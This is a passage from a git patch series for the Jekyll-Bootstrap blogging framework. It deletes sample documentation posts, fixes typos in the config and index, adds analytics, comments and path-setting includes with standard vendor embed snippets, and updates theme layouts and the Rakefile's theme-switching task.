Jekyll::Post objects)...], - "templating"=> - [...(Array of liquified Jekyll::Post objects)...], - "liquid"=> - [...(Array of liquified Jekyll::Post objects)...], - "posts"=> - [...(Array of liquified Jekyll::Post objects)...] - } - } - - - -### Sitewide Custom Data - -Set sitewide custom data using the config file. - -Variables held in the config file get merged into the site variable. - - - - - -## Categories - -Categories may only be applied to posts and are available on a per-post basis as well as aggregated -in a sitewide global variable, i.e. all categories available for the website. - -When iterating over categories the order is alpha descending - -## Tags - -Tags may only be applied to posts and are available on a per-post basis as well as aggregated -in a sitewide global variable, i.e. all tags available for the website. - -When iterating over tags the order is alpha descending. diff --git a/_posts/core-samples/helpers/2011-9-27-posts-collate.md b/_posts/core-samples/helpers/2011-9-27-posts-collate.md deleted file mode 100644 index 1740bd7..0000000 --- a/_posts/core-samples/helpers/2011-9-27-posts-collate.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -layout : post -categories : helpers ---- - -The posts collate helper organizes and lists posts in month/year clusters. -The posts collate helper follows the [Jekyll-bootstrap include helper](/api/bootstrap-api.html) strategy. - -## Usage - -### Collate All Posts in Reverse Chronological Order - -By default all posts are organized in reverse-chronological order - newest to oldest. - -{% capture text %}|.% assign posts_collate = site.posts %.| -|.% include helpers/posts_collate.html %.|{% endcapture %} -{% include helpers/liquid_raw.html %} - - -### Collate a Sub-Set of Posts - -To collate a sub-set of posts, just pass in the sub-set. -Bellow, only posts tagged "jekyll" will be collated: - -{% capture text %}|.% assign posts_collate = site.tags.jekyll %.| -|.% include helpers/posts_collate.html %.|{% endcapture %} -{% include helpers/liquid_raw.html %} - - -## Source - -The source code is available at: - - ./_includes/helpers/posts_collate.html diff --git a/_posts/core-samples/helpers/2011-9-28-categories-list.md b/_posts/core-samples/helpers/2011-9-28-categories-list.md deleted file mode 100644 index a831980..0000000 --- a/_posts/core-samples/helpers/2011-9-28-categories-list.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -layout : post -categories : helpers ---- - -The categories list helper provides a convenient way to list categories. -The categories list helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. - -## Usage - -### List Sitewide Categories - -List site-wide categories by passing in the `site.categories` variable: - -{% capture text %}<ul> - |.% assign categories_list = site.categories %.| - |.% include helpers/categories_list.html %.| -</ul>{% endcapture %} -{% include helpers/liquid_raw.html %} - -### List Categories for a Specific Post - -You can also list categories specific to a post: - -{% capture text %}<ul> - |.% assign categories_list = page.categories %.| - |.% include helpers/categories_list.html %.| -</ul>{% endcapture %} -{% include helpers/liquid_raw.html %} - -### List Categories Per Post Iteratively - -Finally let's iterate through all posts: - -{% capture text %}|.% for post in site.posts %.| - <h3>Categories for: |.{post.title}.|</h3> - <ul> - |.% assign categories_list = post.categories %.| - |.% include helpers/categories_list.html %.| - </ul> -|.% endfor %.|{% endcapture %} -{% include helpers/liquid_raw.html %} - - -## Source - -The source code is available at: - - ./_includes/helpers/categories_list.html \ No newline at end of file diff --git a/_posts/core-samples/helpers/2011-9-29-pages-list.md b/_posts/core-samples/helpers/2011-9-29-pages-list.md deleted file mode 100644 index dcdc4e0..0000000 --- a/_posts/core-samples/helpers/2011-9-29-pages-list.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -layout : post -categories : helpers ---- - -The pages list helper provides a convenient way to list pages. -The pages list helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. - -## Usage - -### List All Pages - -{% capture text %}<ul> - |.% assign pages_list = site.pages %.| - |.% include helpers/pages_list.html %.| -</ul>{% endcapture %} -{% include helpers/liquid_raw.html %} - -### List Pages From a Sub-Group - -Pages cannot have categories. However we can setup a similar functionality -by manually associating a page to a "group". Do this in the page's yaml front matter: - - --- - layout: default - title: A Nice Title - group: project - --- - -You then pass the group name to the pages\_list helper: - -{% capture text %}<ul> - |.% assign pages_list = site.pages %.| - |.% assign group = 'project' %.| - |.% include helpers/pages_list.html %.| -</ul>{% endcapture %} -{% include helpers/liquid_raw.html %} - -## Source - -The source code is available at: - - ./_includes/helpers/pages_list.html diff --git a/_posts/core-samples/helpers/2011-9-30-tags-list.md b/_posts/core-samples/helpers/2011-9-30-tags-list.md deleted file mode 100644 index 9ddaf53..0000000 --- a/_posts/core-samples/helpers/2011-9-30-tags-list.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -layout : post -categories : helpers ---- - -The tag list helper lists tags and their total counts. -The tag list helper follows the [Jekyll-bootstrap include helper](/lessons/bootstrap-api.html) strategy. - -## Usage - -### List Sitewide Tags - -You can list sitewide tags by passing in the `site.tags` variable: - -{% capture text %}<ul> - |.% assign tags_list = site.tags %.| - |.% include helpers/tags_list.html %.| -</ul>{% endcapture %} -{% include helpers/liquid_raw.html %} - -### List Tags for a Specific Post - -You can also list tags specific to a post: - -{% capture text %}<ul> - |.% assign tags_list = page.tags %.| - |.% include helpers/tags_list.html %.| -</ul>{% endcapture %} -{% include helpers/liquid_raw.html %} - -### List Tags Per Post Iteratively - -Finally let's iterate through all posts: - -{% capture text %}|.% for post in site.posts %.| - <h3>Tags for: |.{post.title}.|</h3> - <ul> - |.% assign tags_list = post.tags %.| - |.% include helpers/tags_list.html %.| - </ul> -|.% endfor %.|{% endcapture %} -{% include helpers/liquid_raw.html %} - -## Source - -The source code is available at: - - ./_includes/helpers/tags_list.html - - diff --git a/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md b/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md deleted file mode 100644 index 638ff25..0000000 --- a/_posts/core-samples/usage/2011-10-28-deployment-and-hosting.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -layout: post -categories : usage ---- - -Deploying a jekyll-based website comes in two flavors. -You can deploy to GitHub Pages or you can deploy to your own custom server. - -## Deploy Jekyll to GitHub Pages - -You can deploy Jekyll to your GitHub account and GitHub will parse your repo through Jekyll and host the result on username.github.com -This is very nice of GitHub and the most convenient strategy. -However you cannot extend jekyll via plugins with this version because GitHub will not run them for security reasons. - -[GitHub Pages](http://pages.github.com) provides a comprehension tutorial to deploying your Jekyll repository to GitHub Pages. - - -### Jekyll-Bootstrap is Built to Run on GitHub Pages. -<http://jekyllbootstrap.com> itself, is running via GitHub pages. -You can see that this website is also available at: <http://plusjade.github.com/jekyll-bootstrap>. - -If you follow the development practices outlined in Jekyll-bootstrap all you have to do is -clone the jekyll-bootstrap framework, clear out the posts and pages and add in your own content. -Then push this to github as per the [GitHub Pages](http://pages.github.com) tutorial. - -Please [contact me](http://plusjade.com) if you run into any trouble. - - -## Deploy Jekyll to Your Custom Server - -The main reason you'd want to host your website yourself is because you can then run custom plugins and customize Jekyll to your heart's content. - -Please see the original docs for [custom Jekyll deployment strategies](https://github.com/mojombo/jekyll/wiki/Deployment). - - - diff --git a/_posts/core-samples/usage/2011-10-29-configuring-urls.md b/_posts/core-samples/usage/2011-10-29-configuring-urls.md deleted file mode 100644 index efc9140..0000000 --- a/_posts/core-samples/usage/2011-10-29-configuring-urls.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -layout : post -categories : usage -tags : [permalinks, urls] ---- - -URL configuration is an important aspect of Jekyll as users usually require -total control over how links to their content are handled. Fortunately Jekyll provides extensive customization options as to how your permalinks will be generated: - -[Jekyll Permalinks](https://github.com/mojombo/jekyll/wiki/Permalinks) - -## Jekyll-Bootstrap's URL Configuration - -A peek into `_config.yml` notes that Jekyll-bootrap uses this configuration: - - permalink: /:categories/:title.html - - -This means any category specified on a post will be included within the url, followed by the post title. - -Traditionally a blog will namespace its post by date, for example: - - permalink: /:categories/:year/:month/:day/:title/ - - -Play around with what url configuration works best for you. \ No newline at end of file diff --git a/_posts/core-samples/usage/2011-10-30-jekyll-theming.md b/_posts/core-samples/usage/2011-10-30-jekyll-theming.md deleted file mode 100644 index c22616d..0000000 --- a/_posts/core-samples/usage/2011-10-30-jekyll-theming.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -layout: post -categories : usage ---- - - -## Creating Your Layout - -Jekyll-bootstrap uses [twitter bootstrap](http://twitter.github.com/bootstrap) to provide the layout structure. -This is because I am not a designer. (designers please contribute themes to Jekyll-bootstrap!) - -To get up and running the fastest you might just take a peak at the twitter bootstrap design elements -and setup a quick template that you are happy with. - - -### Static Assets - -The `assets` folder follows a logical structure: -`css` folder contain css, `javascripts` folder contain javascript files etc. -You can link to these static assets following the logical directory path. - -### Create a Base Template - -The base template in Jekyll-bootstrap is at: `/_layouts/default.html` -You can see how the global layout is defined and how assets are linked to. - -### Create a Post Template - -The post template in Jekyll-bootstrap is at: `/_layouts/post.html` -This template is a sub-template that all posts refer to. You can see the post template defines -the default template its parent layout. diff --git a/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md b/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md deleted file mode 100644 index 516e6ed..0000000 --- a/_posts/core-samples/usage/2011-10-31-jekyll-quick-start.md +++ /dev/null @@ -1,80 +0,0 @@ ---- -layout: post -categories : usage ---- - - -## 1. Install Jekyll-Bootstrap - -[Install Jekyll-Bootsrap](/index.html#start-now) if you haven't already. -Jekyll-bootstrap is a clean base framework for your blog. -It includes two themes, some useful pages, and bootstrap include-helpers. - -## 2. Run Jekyll Locally - -In order to preview your blog locally you'll need to install the jekyll gem. Note gem dependencies will also be installed. - - $ gem install jekyll - -If you run into a problem please consult the original [Jekyll installation documentation](https://github.com/mojombo/jekyll/wiki/Install). -You can also [contact me](http://github.com/plusjade) through github. - -Once the gem is installed you can navigate to your Jekyll-bootstrap directory -and run jekyll: - - $ cd jekyll-bootstrap - $ jekyll --server - -Your blog is now available at: [http://localhost:4000/](http://localhost:4000/). - - -## 2. Choose a Theme - -Jekyll-bootstrap has a basic theming system that I'll be steadily improving. -You can read about how to choose and customize a theme in the [Theming](/usages/theming.html) section. - -## 3. Create Some Content - -### Create a Post - -Create a file with valid date and title in the filename and place it into the `_posts` folder. -Jekyll-bootstrap provides many post files for you to copy from to better understand the formatting requirements. - -### Create a Page - -Create a file anywhere in the root directory, for example `/about.md` and remember to provide -valid YAML Front Matter so Jekyll recognizes the file as a page. - -Jekyll-bootstrap provides many page examples for reference. -You can study the source and customize it for your own needs. - -<ul> -{% assign pages_list = site.pages %} -{% include helpers/pages_list.html %} -</ul> - - -## 4. Publish - -After you've added posts or made changes to your theme or other files, simply commit them to your git repo and push the commits up to GitHub. - -A GitHub post-commit hook will automatically deploy your changes to your hosted blog. You will receive a success or failure notice for every commit you make to your blog. - -## 5. Customize - -Jekyll-bootstrap can be used as-is as a basic blogging platform with little need -to understand what's going on under the hood. - -However I'm betting you want to get your hands dirty. -The following outlines the deeper Jekyll-Bootstrap documentation. - -### Jekyll Introduction - -The [{{site.categories.lessons.first.title}}]({{site.categories.lessons.first.url}}) is meant for core understanding of how and why Jekyll works the way it does. -You must start with this in order to understand everything else in Jekyll-Bootstrap. - -### The API Section - -The API pages document main data-structures and design strategies used in Jekyll and Jekyll-Bootstrap. - - From 07eb4d166aebbedd322ac91f101967c63bd41d6c Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Thu, 19 Jan 2012 04:06:04 -0800 Subject: [PATCH 031/144] don't process rakefile, readme --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 9df5c66..79c9d24 100644 --- a/_config.yml +++ b/_config.yml @@ -19,4 +19,4 @@ author : twitter : username feedbuder : feedname -exclude: .rbenv-version +exclude: [".rbenv-version", "README.md", "Rakefile"] From 80595af54f7325ce67393245b11f87a352dc1efa Mon Sep 17 00:00:00 2001 From: jayraj <jogjayr@gmail.com> Date: Thu, 19 Jan 2012 09:49:56 -0500 Subject: [PATCH 032/144] fixed incorrect link to jekyll bootstrap homepage --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 40ab32c..44414ba 100644 --- a/index.md +++ b/index.md @@ -5,7 +5,7 @@ title: Hello World! Read [Jekyll Quick Start](http://jekyllbootstrap.com/jekyll-quick-start.html) -Complete usage and documentation available at: [Jekyll Bootstrap](http://jekyllboostrap.com) +Complete usage and documentation available at: [Jekyll Bootstrap](http://jekyllbootstrap.com) ## Update Author Attributes From bb8ec4c8bcfc77de2bbe50f46ba71b78de13b8ea Mon Sep 17 00:00:00 2001 From: christine <piroko@gmail.com> Date: Thu, 19 Jan 2012 16:02:38 -0800 Subject: [PATCH 033/144] Fixed typo: title should be "Jekyll Bootstrap" --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 9df5c66..012a581 100644 --- a/_config.yml +++ b/_config.yml @@ -10,7 +10,7 @@ var: rss_path: /atom.xml production_url : http://username.github.com # or your custom domain name -title : Jekyll Boostrap +title : Jekyll Bootstrap author : name : Name Lastname From 5efb7228ceae0c0534fe6cabfac1f07c13df9cb0 Mon Sep 17 00:00:00 2001 From: jayraj <jogjayr@gmail.com> Date: Fri, 20 Jan 2012 22:41:29 -0500 Subject: [PATCH 034/144] fixed broken link for jekyll quick start on index.md. checked and made sure there are no more broken links on that page --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 44414ba..37b7210 100644 --- a/index.md +++ b/index.md @@ -3,7 +3,7 @@ layout: page title: Hello World! --- -Read [Jekyll Quick Start](http://jekyllbootstrap.com/jekyll-quick-start.html) +Read [Jekyll Quick Start](http://jekyllbootstrap.com/usage/jekyll-quick-start.html) Complete usage and documentation available at: [Jekyll Bootstrap](http://jekyllbootstrap.com) From 241a51205393082f4350bcf63fc5b8b96da26b2b Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Fri, 20 Jan 2012 22:38:56 -0800 Subject: [PATCH 035/144] fix typo --- _config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index c6a03cf..9d7c129 100644 --- a/_config.yml +++ b/_config.yml @@ -17,6 +17,6 @@ author : email : blah@email.test github : username twitter : username - feedbuder : feedname + feedburner : feedname exclude: [".rbenv-version", "README.md", "Rakefile"] From 7a0b1ed6897c21181b94743ca88af6332c74315e Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Fri, 20 Jan 2012 23:19:17 -0800 Subject: [PATCH 036/144] Add new Integration points for themes The new system will try to namespace all framework integrations with 'JB'. Integration points added in this comment are 'analytics', 'comments', and 'sharing'. --- _includes/JB/analytics | 12 ++++++++++++ _includes/JB/analytics-engines/getclicky.html | 12 ++++++++++++ _includes/JB/analytics-engines/google.html | 11 +++++++++++ _includes/JB/comments | 16 ++++++++++++++++ _includes/JB/comments-engines/disqus.html | 13 +++++++++++++ _includes/JB/comments-engines/facebook.html | 1 + _includes/JB/comments-engines/intensedebate.html | 6 ++++++ _includes/JB/comments-engines/livfyre.html | 6 ++++++ _includes/JB/sharing | 8 ++++++++ 9 files changed, 85 insertions(+) create mode 100644 _includes/JB/analytics create mode 100644 _includes/JB/analytics-engines/getclicky.html create mode 100644 _includes/JB/analytics-engines/google.html create mode 100644 _includes/JB/comments create mode 100644 _includes/JB/comments-engines/disqus.html create mode 100644 _includes/JB/comments-engines/facebook.html create mode 100644 _includes/JB/comments-engines/intensedebate.html create mode 100644 _includes/JB/comments-engines/livfyre.html create mode 100644 _includes/JB/sharing diff --git a/_includes/JB/analytics b/_includes/JB/analytics new file mode 100644 index 0000000..201eeb3 --- /dev/null +++ b/_includes/JB/analytics @@ -0,0 +1,12 @@ +{% if site.safe and site.JB.analytics.engine and page.JB.analytics != false %} + +{% case site.JB.analytics.engine %} +{% when "google" %} + {% include JB/analytics-engines/google.html %} +{% when "getclicky" %} + {% include JB/analytics-engines/getclicky.html %} +{% when "custom" %} + {% include custom/analytics.html %} +{% endcase %} + +{% endif %} \ No newline at end of file diff --git a/_includes/JB/analytics-engines/getclicky.html b/_includes/JB/analytics-engines/getclicky.html new file mode 100644 index 0000000..a9a5fd9 --- /dev/null +++ b/_includes/JB/analytics-engines/getclicky.html @@ -0,0 +1,12 @@ +<script type="text/javascript"> +var clicky_site_ids = clicky_site_ids || []; +clicky_site_ids.push({{ site.JB.analytics.getclicky.site_id }}); +(function() { + var s = document.createElement('script'); + s.type = 'text/javascript'; + s.async = true; + s.src = '//static.getclicky.com/js'; + ( document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0] ).appendChild( s ); +})(); +</script> +<noscript><p><img alt="Clicky" width="1" height="1" src="//in.getclicky.com/66527741ns.gif" /></p></noscript> \ No newline at end of file diff --git a/_includes/JB/analytics-engines/google.html b/_includes/JB/analytics-engines/google.html new file mode 100644 index 0000000..9014866 --- /dev/null +++ b/_includes/JB/analytics-engines/google.html @@ -0,0 +1,11 @@ +<script type="text/javascript"> + var _gaq = _gaq || []; + _gaq.push(['_setAccount', '{{ site.JB.analytics.google.tracking_id }}']); + _gaq.push(['_trackPageview']); + + (function() { + var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; + ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; + var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); + })(); +</script> \ No newline at end of file diff --git a/_includes/JB/comments b/_includes/JB/comments new file mode 100644 index 0000000..088f5b2 --- /dev/null +++ b/_includes/JB/comments @@ -0,0 +1,16 @@ +{% if site.JB.comments.engine and page.JB.comments != false %} + +{% case site.JB.comments.engine %} +{% when "disqus" %} + {% include JB/comments-engines/disqus.html %} +{% when "livefyre" %} + {% include JB/comments-engines/livefyre.html %} +{% when "intensedebate" %} + {% include JB/comments-engines/intensedebate.html %} +{% when "facebook" %} + {% include JB/comments-engines/facebook.html %} +{% when "custom" %} + {% include custom/comments.html %} +{% endcase %} + +{% endif %} \ No newline at end of file diff --git a/_includes/JB/comments-engines/disqus.html b/_includes/JB/comments-engines/disqus.html new file mode 100644 index 0000000..f6dd3a9 --- /dev/null +++ b/_includes/JB/comments-engines/disqus.html @@ -0,0 +1,13 @@ +<div id="disqus_thread"></div> +<script type="text/javascript"> + {% if site.safe == false %}var disqus_developer = 1;{% endif %} + var disqus_shortname = '{{ site.JB.comments.disqus.short_name }}'; // required: replace example with your forum shortname + /* * * DON'T EDIT BELOW THIS LINE * * */ + (function() { + var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true; + dsq.src = 'http://' + disqus_shortname + '.disqus.com/embed.js'; + (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq); + })(); +</script> +<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript> +<a href="http://disqus.com" class="dsq-brlink">blog comments powered by <span class="logo-disqus">Disqus</span></a> diff --git a/_includes/JB/comments-engines/facebook.html b/_includes/JB/comments-engines/facebook.html new file mode 100644 index 0000000..f8c7d21 --- /dev/null +++ b/_includes/JB/comments-engines/facebook.html @@ -0,0 +1 @@ +<h3>Facebook comments TODO!</h3> \ No newline at end of file diff --git a/_includes/JB/comments-engines/intensedebate.html b/_includes/JB/comments-engines/intensedebate.html new file mode 100644 index 0000000..ab0c3c9 --- /dev/null +++ b/_includes/JB/comments-engines/intensedebate.html @@ -0,0 +1,6 @@ +<script> +var idcomments_acct = '{{ site.JB.comments.intensedebate.account }}'; +var idcomments_post_id; +var idcomments_post_url; +</script> +<script type="text/javascript" src="http://www.intensedebate.com/js/genericLinkWrapperV2.js"></script> diff --git a/_includes/JB/comments-engines/livfyre.html b/_includes/JB/comments-engines/livfyre.html new file mode 100644 index 0000000..704b803 --- /dev/null +++ b/_includes/JB/comments-engines/livfyre.html @@ -0,0 +1,6 @@ +<script type='text/javascript' src='http://zor.livefyre.com/wjs/v1.0/javascripts/livefyre_init.js'></script> +<script type='text/javascript'> + var fyre = LF({ + site_id: {{ site.JB.comments.livefyre.site_id }} + }); +</script> \ No newline at end of file diff --git a/_includes/JB/sharing b/_includes/JB/sharing new file mode 100644 index 0000000..3dbceca --- /dev/null +++ b/_includes/JB/sharing @@ -0,0 +1,8 @@ +{% if site.safe and site.JB.sharing.engine and page.JB.sharing != false %} + +{% case site.JB.sharing.engine %} +{% when "custom" %} + {% include custom/sharing.html %} +{% endcase %} + +{% endif %} \ No newline at end of file From df5bedb4240a2b617f7dd2528fc35ccc5227ffed Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Fri, 20 Jan 2012 23:20:22 -0800 Subject: [PATCH 037/144] Add JB configuration hash to site config --- _config.yml | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/_config.yml b/_config.yml index 9d7c129..c63f811 100644 --- a/_config.yml +++ b/_config.yml @@ -20,3 +20,28 @@ author : feedburner : feedname exclude: [".rbenv-version", "README.md", "Rakefile"] + +# Jekyll-Bootstrap configurations +JB : + comments : + engine : disqus + disqus : + short_name : jekyllbootstrap + livefyre : + site_id : 123 + intensedebate : + account : 123abc + facebook : + apikey : 123 + + + analytics : + engine : google + google : + tracking_id : 'UA-123-12' + getclicky : + site_id : + + + sharing : + engine : false \ No newline at end of file From 45b894f0af391c5769355ed63876fd879e82fab4 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Fri, 20 Jan 2012 23:32:32 -0800 Subject: [PATCH 038/144] Update themes to use new integration methods --- _includes/production/analytics.html | 5 ----- _includes/themes/mark-reid/default.html | 5 ++--- _includes/themes/mark-reid/post.html | 5 +---- _includes/themes/the-minimum/default.html | 5 ++--- _includes/themes/the-minimum/post.html | 3 +++ _includes/themes/tom/default.html | 4 +--- _includes/themes/tom/post.html | 4 +++- _includes/themes/twitter/default.html | 1 + _includes/themes/twitter/post.html | 2 ++ 9 files changed, 15 insertions(+), 19 deletions(-) delete mode 100644 _includes/production/analytics.html diff --git a/_includes/production/analytics.html b/_includes/production/analytics.html deleted file mode 100644 index 3f12c6a..0000000 --- a/_includes/production/analytics.html +++ /dev/null @@ -1,5 +0,0 @@ -<!-- - Drop your analytics in here. - This will only be included when published to GitHub. - We use "site.safe" variable which is true on GitHub. ---> \ No newline at end of file diff --git a/_includes/themes/mark-reid/default.html b/_includes/themes/mark-reid/default.html index 835a4bc..b8a0482 100644 --- a/_includes/themes/mark-reid/default.html +++ b/_includes/themes/mark-reid/default.html @@ -68,8 +68,7 @@ <h1> </script> <script type="text/javascript" src="http://static.ie6update.com/hosted/ie6update/ie6update.js"></script> <![endif]--> -{% if site.safe %} - {% include production/analytics.html %} -{% endif %} + + {% include JB/analytics %} </body> </html> diff --git a/_includes/themes/mark-reid/post.html b/_includes/themes/mark-reid/post.html index 76dd994..af7ffd3 100644 --- a/_includes/themes/mark-reid/post.html +++ b/_includes/themes/mark-reid/post.html @@ -25,7 +25,4 @@ <h1 class="emphnext">{{ page.title }}</h1> </div><!-- End Page --> -<!-- Discus Comments --> -<div id="disqus_thread"> - <h2>Comment Section</h2> -</div> +{% include JB/comments %} diff --git a/_includes/themes/the-minimum/default.html b/_includes/themes/the-minimum/default.html index 140d21e..95b0404 100644 --- a/_includes/themes/the-minimum/default.html +++ b/_includes/themes/the-minimum/default.html @@ -77,8 +77,7 @@ <h4>about</h4> /*! A fix for the iOS orientationchange zoom bug.Script by @scottjehl, rebound by @wilto. MIT License.*/ (function(j){var i=j.document;if(!i.querySelectorAll){return}var l=i.querySelectorAll("meta[name=viewport]")[0],a=l&&l.getAttribute("content"),h=a+", maximum-scale=1.0",d=a+", maximum-scale=10.0",g=true,c=j.orientation,k=0;if(!l){return}function f(){l.setAttribute("content",d);g=true}function b(){l.setAttribute("content",h);g=false}function e(m){c=Math.abs(j.orientation);k=Math.abs(m.gamma);if(k>8&&c===0){if(g){b()}}else{if(!g){f()}}}j.addEventListener("orientationchange",f,false);j.addEventListener("deviceorientation",e,false)})(this); </script> -{% if site.safe %} - {% include production/analytics.html %} -{% endif %} + + {% include JB/analytics %} </body> </html> diff --git a/_includes/themes/the-minimum/post.html b/_includes/themes/the-minimum/post.html index cf5712e..9b5316b 100644 --- a/_includes/themes/the-minimum/post.html +++ b/_includes/themes/the-minimum/post.html @@ -40,7 +40,10 @@ <h1 class="h2 entry-title">{{ page.title }}</h1> <li><div class="twitter-follow"><a href="https://twitter.com/{{ site.author.twitter }}" class="twitter-follow-button" data-show-count="false" data-lang="en"></a></div></li> </ul> </div> + + {% include JB/comments %} </div><!-- misc-content --> + </div><!-- bd --> <footer class="unit-foot"> <div class="unit-inner unit-foot-inner"> diff --git a/_includes/themes/tom/default.html b/_includes/themes/tom/default.html index 2c43e6b..bbd019f 100644 --- a/_includes/themes/tom/default.html +++ b/_includes/themes/tom/default.html @@ -53,8 +53,6 @@ </div> <a href="http://github.com/{{ site.author.github }}"><img style="position: absolute; top: 0; right: 0; border: 0;" src="http://s3.amazonaws.com/github/ribbons/forkme_right_red_aa0000.png" alt="Fork me on GitHub" /></a> -{% if site.safe %} - {% include production/analytics.html %} -{% endif %} + {% include JB/analytics %} </body> </html> diff --git a/_includes/themes/tom/post.html b/_includes/themes/tom/post.html index fc94e5e..088407a 100644 --- a/_includes/themes/tom/post.html +++ b/_includes/themes/tom/post.html @@ -14,4 +14,6 @@ <h2>Related Posts</h2> <li><span>{{ post.date | date_to_string }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> {% endfor %} </ul> -</div> \ No newline at end of file +</div> + +{% include JB/comments %} \ No newline at end of file diff --git a/_includes/themes/twitter/default.html b/_includes/themes/twitter/default.html index d149bd5..df70385 100644 --- a/_includes/themes/twitter/default.html +++ b/_includes/themes/twitter/default.html @@ -54,5 +54,6 @@ </div> <!-- /container --> + {% include JB/analytics %} </body> </html> diff --git a/_includes/themes/twitter/post.html b/_includes/themes/twitter/post.html index 81b0931..591cbca 100644 --- a/_includes/themes/twitter/post.html +++ b/_includes/themes/twitter/post.html @@ -21,6 +21,8 @@ <h1>{{ page.title }} <small>Supporting tagline</small></h1> {% endif %} </ul> </div> + <hr> + {% include JB/comments %} </div> <div class="span4"> From 61cdb7a8031d1c99c222c4242e199a31c42dabb8 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Fri, 20 Jan 2012 23:37:40 -0800 Subject: [PATCH 039/144] Themes can define configuration data Themes can define a 'settings.yml' file which will get injected into the root default.html layout YAML Front Matter which can be accessed through the 'page' variable. --- Rakefile | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Rakefile b/Rakefile index f55c099..8fd3539 100644 --- a/Rakefile +++ b/Rakefile @@ -35,16 +35,20 @@ end # task :new_post desc "Switch between Jekyll-bootstrap themes." task :switch_theme, :theme do |t, args| theme_path = File.join(CONFIG['themes'], args.theme) + settings_file = File.join(theme_path, "settings.yml") + non_layout_files = ["settings.yml"] abort("rake aborted: '#{CONFIG['themes']}/#{args.theme}' directory not found.") unless FileTest.directory?(theme_path) abort("rake aborted: '#{CONFIG['layouts']}' directory not found.") unless FileTest.directory?(CONFIG['layouts']) Dir.glob("#{theme_path}/*") do |filename| + next if non_layout_files.include?(File.basename(filename).downcase) puts "Generating '#{args.theme}' layout: #{File.basename(filename)}" open(File.join(CONFIG['layouts'], File.basename(filename)), 'w') do |page| if File.basename(filename, ".html").downcase == "default" page.puts "---" + page.puts File.read(settings_file) if File.exist?(settings_file) page.puts "---" page.puts "{% assign theme_asset_path = \"/assets/themes/#{args.theme}\" %}" else From 75fa188fa728afea2ad53925b77e317d9b134417 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 21 Jan 2012 18:08:35 -0800 Subject: [PATCH 040/144] Add ability to dynamically set url paths This makes GitHub Pages for projects support possible as all urls will need to call on the project's subfolder. The other important piece is that urls should resolve to root locally but be able to change when in production. LLastly this gives themes clear integration points for working with paths. (the jbcache hack just makes it so there is not unnecessary whitespace output in the source. --- _includes/JB/set_paths | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 _includes/JB/set_paths diff --git a/_includes/JB/set_paths b/_includes/JB/set_paths new file mode 100644 index 0000000..890f2d8 --- /dev/null +++ b/_includes/JB/set_paths @@ -0,0 +1,20 @@ +{% capture jbcache %} +<!-- + Dynamically set liquid variables for working with URLs/paths +--> + + {% if site.safe and site.JB.BASE_PATH %} + {% assign BASE_PATH = site.JB.BASE_PATH %} + {% assign HOME_URL = site.JB.BASE_PATH %} + {% else %} + {% assign BASE_PATH = "" %} + {% assign HOME_URL = "/" %} + {% endif %} + + {% if site.JB.ASSET_PATH %} + {% assign ASSET_PATH = site.JB.ASSET_PATH %} + {% else %} + {% capture ASSET_PATH %}{{ BASE_PATH }}/assets/themes/{{ page.theme.name }}{% endcapture %} + {% endif %} + +{% endcapture %}{% assign jbcache = null %} \ No newline at end of file From fe33e5180c3a9e9ede03d36c758c47fcd1dee406 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Sat, 21 Jan 2012 18:09:53 -0800 Subject: [PATCH 041/144] Provide set_paths to all layouts --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 8fd3539..3978585 100644 --- a/Rakefile +++ b/Rakefile @@ -50,12 +50,12 @@ task :switch_theme, :theme do |t, args| page.puts "---" page.puts File.read(settings_file) if File.exist?(settings_file) page.puts "---" - page.puts "{% assign theme_asset_path = \"/assets/themes/#{args.theme}\" %}" else page.puts "---" page.puts "layout: default" page.puts "---" end + page.puts "{% include JB/set_paths %}" page.puts "{% include themes/#{args.theme}/#{File.basename(filename)} %}" end end From 3f7fd7b4f22cc7429c2e38bac60402e5cf7e9fbc Mon Sep 17 00:00:00 2001 From: Jade Dominguez 